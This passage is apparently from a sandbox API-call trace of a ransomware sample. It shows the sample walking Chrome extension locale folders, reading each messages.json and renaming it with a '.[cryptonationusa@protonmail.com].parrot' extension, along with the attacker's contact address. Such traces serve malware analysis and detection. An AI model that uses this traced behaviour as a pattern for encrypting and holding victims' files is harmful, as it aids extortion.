Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67bd10 | out: hHeap=0x5b0000) returned 1 [0070.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78b1b60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78b1b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.575] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.575] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.575] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.576] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.576] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.576] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.576] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.577] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe2, lpOverlapped=0x0) returned 1 [0070.577] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.577] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.577] CloseHandle (hObject=0x28c) returned 1 [0070.577] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67bd10 | out: hHeap=0x5b0000) returned 1 [0070.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.579] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.579] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb78d7cc0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb78d7cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.579] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb78d7cc0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.580] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.580] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.580] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.580] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.580] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.580] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.622] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.622] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.622] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.623] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.623] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdc, lpOverlapped=0x0) returned 1 [0070.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.624] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.624] CloseHandle (hObject=0x1fc) returned 1 [0070.624] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da218 | out: hHeap=0x5b0000) returned 1 [0070.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67be98 | out: hHeap=0x5b0000) returned 1 [0070.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb794a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.627] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.627] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.627] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.627] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.627] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.627] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.628] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.628] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdf, lpOverlapped=0x0) returned 1 [0070.629] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.629] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.629] CloseHandle (hObject=0x1fc) returned 1 [0070.629] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c020 | out: hHeap=0x5b0000) returned 1 [0070.630] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.631] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb794a0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.631] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb794a0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.632] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.632] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.632] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.632] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.664] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.664] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.664] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.665] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.665] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe2, lpOverlapped=0x0) returned 1 [0070.665] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.665] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.665] CloseHandle (hObject=0x28c) returned 1 [0070.666] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da238 | out: hHeap=0x5b0000) returned 1 [0070.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67c020 | out: hHeap=0x5b0000) returned 1 [0070.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.668] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb79963a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb79963a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.668] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb79963a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", 